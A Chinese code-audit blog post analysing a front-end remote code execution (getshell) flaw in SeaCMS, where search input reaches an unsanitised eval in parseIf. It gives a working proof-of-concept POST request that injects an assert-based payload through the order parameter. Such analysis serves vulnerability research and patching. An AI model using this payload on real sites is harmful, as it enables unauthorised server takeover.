zoukankan      html  css  js  c++  java
  • 【代码审计】seacms 前台Getshell分析

    一、漏洞分析

    漏洞触发点search.php 211-213行

    跟进parseIf 函数 ./include/main.class.php

    这里要注意 3118行的位置,可以看到未做任何处理的eval

    二、触发条件

    if(intval($searchtype)==5)   
    
    if (strpos($content,'{if:')=== true)
    
    {if:(.*?)}(.*?){end if} 
    
    if (strpos($strThen,$labelRule2)===false)
    
    if (strpos($strThen,$labelRule3)>=0){

    三、构造POC

    http://127.0.0.1/search.php?searchtype=5
    POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

    1.preg_match_all($labelRule,$content,$iar); 进行匹配,将匹配的内容保存到$iar

       如果是$strIf=$iar[0];  则代表匹配整个的结果

       $strIf=$iar[1][$m];   这里匹配整个内容的第一个子组  1)print_r($_POST[func]($_POST[cmd]));//

    2.

    ...
    $labelRule2="{elseif";
    ...
    if (strpos($strThen,$labelRule2)===false){

        $strIf=$iar[2][$m]; 不能含有elseif,才可以进入下一个判断语句

    3.因为我们构造的$strThen(其实就是$iar[2][$m])是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!

    最终进入语句带代码

    eval("if(1)print_r($_POST[func]($_POST[cmd]));//{$ifFlag=true;}else{$ifFlag=false;} ")

     四、漏洞验证

  • 相关阅读:
    今天是JVM的生日,来了解下JVM的发展历史吧
    python 天天生鲜项目
    django中设置定时任务
    django-rest-framework视图和url
    rest_framework-分页
    rest_framework-序列化-1
    rest_framework-解析器
    django-rest-framework版本控制
    django-rest-framework限流
    django-rest-framework权限验证
  • 原文地址:https://www.cnblogs.com/sqyysec/p/7765703.html
Copyright © 2011-2022 走看看